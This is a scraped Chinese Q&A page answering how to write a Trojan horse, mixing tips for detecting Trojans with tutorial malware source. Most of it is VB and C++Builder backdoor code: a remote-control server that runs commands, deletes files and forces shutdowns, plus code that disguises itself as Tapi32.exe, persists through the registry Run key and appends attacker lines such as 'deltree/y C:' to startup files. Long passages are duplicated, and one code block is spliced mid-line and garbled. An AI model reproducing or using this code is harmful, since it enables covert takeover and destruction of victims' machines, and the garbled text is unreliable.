笔画横折弯勾怎么写:谁知道怎么编写特洛伊木马程序?

来源:百度文库 编辑:杭州交通信息网 时间:2024/05/05 07:54:30
详细的过程

如何识别木马
识别木马有新招,希望这篇文章对你有所帮助。

一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。

下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段JAVASCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种方法,就是把木马exe编译到.JS文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解,

简单防治的方法:
开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治方法,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:盘即系统区,所以只要木马直接感染你安装在别的盘里的游戏执行文件,你照样逃不掉的。

下边介绍一下木马和如何简单的检查一下是否中了木马。
木马程序一般分为服务器端程序和客户端程序两个部分,当服务器端程序安装在某台连接到网络的电脑后,就能使用客户端程序对其进行登陆。这和PcAnywhere以及NetMeeting的远程控制功能相似。但不同的是,木马是非法取得对对方电脑的控制权,一旦登陆成功,就可以取得管理员级的权利,对方电脑上的资料、密码等是一览无余。不过这种木马一般的“伪黑客”很少使用,因为一不小心就会引火上身,被对方反查过来就会偷鸡不成蚀把米了,一般他们都会采用只有服务器端的小木马,这类木马通常会把截取的密码发到一个免费邮箱里,不需要人为操作,有空去收趟邮件就可以了,这种木马遍布互连网的各个角落,的确防不胜防,由于木马程序众多,加之不断有新版本、新品种产生,使得软件无法完全应付,所以手动检查清除是十分必要的。

木马会想尽一切办法隐藏自己,别指望在任务管理器里看到他们的踪影,有些木马更是会和一些系统进程寄生在一起的,如著名的广外幽灵就是寄生在MsgSrv32.exe里;当然它也会悄无声息地启动,木马会在每次用户启动windows时自动装载服务端,Windows系统启动时自动加载应用程序的方法木马都会用上,如启动组、win.ini、system.ini、注册表等等都是木马藏身之地;下边简单说一下如何检查,点开始-运行,输入:
msconfig回车 就会打开系统配置实用程序,先点system.ini,看看shell=文件名,正确的文件名应该是“explorer.exe”,如果explorer.exe后边还跟有别的程序的话,就要好好检查这个程序了,然后点win.ini,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了,当然你也得看清楚,因为如“AOL木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件;最后点“启动”,检查里面的启动项是不是有不熟悉的,如果你实在不清楚的话可以把他们全部取消,然后重新运行msconfig,看一下有没有取消的启动项重新被选中的,一般木马都会存在于内存中,(就是线程插入,然后隐藏进程的木马,DLL无进程木马就不会驻留在内存里面,我们在下一次中会讲到)所以发现你取消他的启动项就会自动添加上的,然后你就可以逐步添上你的输入法,音量控制,防火墙等软件的启动项了;还有一类木马,他是关联注册表的文件打开方式的,一般木马经常关联.exe,点开始-运行,输入:regedit回车,打开注册表编辑器,点第一条,也就是HKEY_CLASSES_ROOT,找到exefile,看一下\\exefile\\shell\\open\\command里面的默认键值是不是"%1" %* ,如果是一个程序路径的话就一定是中木马了,另外配合两种以上的杀毒软件也是必要的,另外在windows下木马一般很难清除,最后重新启动到dos环境下再进行查杀。

防木马程序、防火墙、及杀毒软件介绍:
1、木马克星: 专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
2、绿鹰PC万能精灵2.91 :专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
3、Symantec AntiVirus:这个我就不用再介绍了吧,全球最大的杀毒软件!强力推荐8.1企业版。
4、天网防火墙2.51个人版:天网防火墙个人版在网络效率与系统安全上完全采用天网防火墙的设计思想,采用最底层的网络驱动隔绝,其作用层在网络硬件与Windows网络驱动之间,在黑客攻击数据接触Windows网络驱动之前将所有的攻击数据拦截,保护脆弱的Windows网络驱动不会崩溃

看看这个,是用VB编的木马程序
1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

Else

If Len(Text1.Text) > 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State < > sckClosed Then

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

End If ’如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

tcpServer.GetData strData

‘接收数据并存入strData

For i = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

‘把命令ID号存入mKey

‘把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

接着再将自己拷贝一份到%System%目录下,例如:C:WindowsSystem,并修改注册表,以便启动时自动加载:

{ 
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\Microsoft\Windows\
CurrentVersion\Run",TRUE);
//打开键值Software\Microsoft\Windows\CurrentVersion\Run,如果不存在,就创建之
try
 {
  //如果以下语句发生异常,跳至catch,以避免程序崩溃
  if(Registry->ReadString("crossbow")!=SystemPath+"\Tapi32.exe")
    Registry->WriteString("crossbow",SystemPath+"\Tapi32.exe");
    //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
   //如果不是,就写入以上键值和内容
 }
catch(...)
 {
 //如果有错误,什么也不做
 }
}

  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{
 FILE *fp=NULL;
 char * content;
 int times_of_try;
 char TempFile[MAX_PATH];
 //定义了一堆待会儿要用到的变量
 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\Win369.BAT")).c_str());
 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客户端(攻击者,也就是你自己)传来的数据

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number-11)+' ').c_str();
   //余下的字符串将被作为写入的内容写入目标文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c:\autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c:\config.sys",S_IREAD|S_IWRITE);
   //将两个目标文件的属性改为可读可写
   if(file_name==1)
    sprintf(filename,"%s","c:\autoexec.bat");
    //如果第11个字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c:\config.sys");
    //如果第11个字符是1,就把Config.sys格式化
   times_of_try=0;
   //定义计数器
   while(fp==NULL)
    {
     //如果指针是空
    fp=fopen(filename,"a+");
    //如果文件不存在,创建之;如果存在,准备在其后添加
    //如果出错,文件指针为空,这样就会重复
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //跳至END处
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
   fclose(fp);
   //写完后关闭目标文件
   Socket->SendText("Sucess");
   //然后发回“Success”的成功信息
  }
}

看看这个,是用VB编的木马程序
1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

Else

If Len(Text1.Text) > 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State < > sckClosed Then

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

End If ’如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

tcpServer.GetData strData

‘接收数据并存入strData

For i = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

‘把命令ID号存入mKey

‘把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。

有教科书!
木马本身是作为远程管理用的,可以学。
关键在于你用它做什么!

千万不要编。编电脑病毒是违法的,可判刑事罪名,如果你编的木马程序导致重大的损失,惩罚是很重的。